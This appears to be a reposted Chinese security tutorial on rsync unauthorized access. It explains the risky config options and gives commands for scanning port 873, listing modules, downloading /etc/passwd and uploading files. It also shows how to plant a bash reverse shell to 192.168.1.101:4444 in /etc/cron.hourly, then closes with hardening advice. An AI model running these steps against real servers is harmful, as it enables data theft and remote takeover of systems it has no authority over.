rsync未授权访问

  • A+
所属分类:安全文章

简介

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

rsync配置文件
该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell。
我们具体来看配置文件的网相关选项(/etc/rsync.conf)
这一项read only表示只读,如果这一项为no,我们就具有写权限了。.

rsync未授权访问

配置参数说明

motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。


利用方式

rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件

nmap扫描目标系统是否开放rsync服务

nmap -p 873 --script rsync-list-modules 目标IP

rsync未授权访问

列出目标服务器的同步目录

rsync 192.168.1.100::
rsync rsync://192.168.1.100:873
//rsync ip::
//rsync rsync://ip:873

rsync未授权访问

查看模块文件
获取到目录之后,只需在路径后添加目录名即可查看目录中的文件
该目标上有src目录 那我们就列src看看

rsync 192.168.0.113::src

rsync未授权访问

可以看到成功列出src目录

下载任意目录文件

rsync -av 192.168.1.100::src/etc/passwd 路径
//rsync -av ip::src/路径

假设我要下载/etc/passwd文件到我的/opt/目录下

rsync -av 192.168.1.100::src/etc/passwd /opt/passwd.txt

rsync未授权访问

查看passwd.txt文件

rsync未授权访问

向目标系统上传任意文件

rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径

反弹shell
1、下载cron定时任务配置文件并且查看任务内容

rsync -av  rsync://192.168.1.100:873/src/etc/cron.hourly
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务

rsync未授权访问

2、创建shell文件,写入反弹shell命令

touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1

3、传入/etc/cron.hourly目录下
写入cron.hourly下文件的任务就会启动

rsync -av shell rsync://192.168.1.100:873/src/etc/cron.hourly

rsync未授权访问

监听4444端口,等待17分钟之后,接收反弹shell

修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
来源:黑白天实验室

推荐关注(红队方向):

原文始发于微信公众号(LemonSec):rsync未授权访问

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: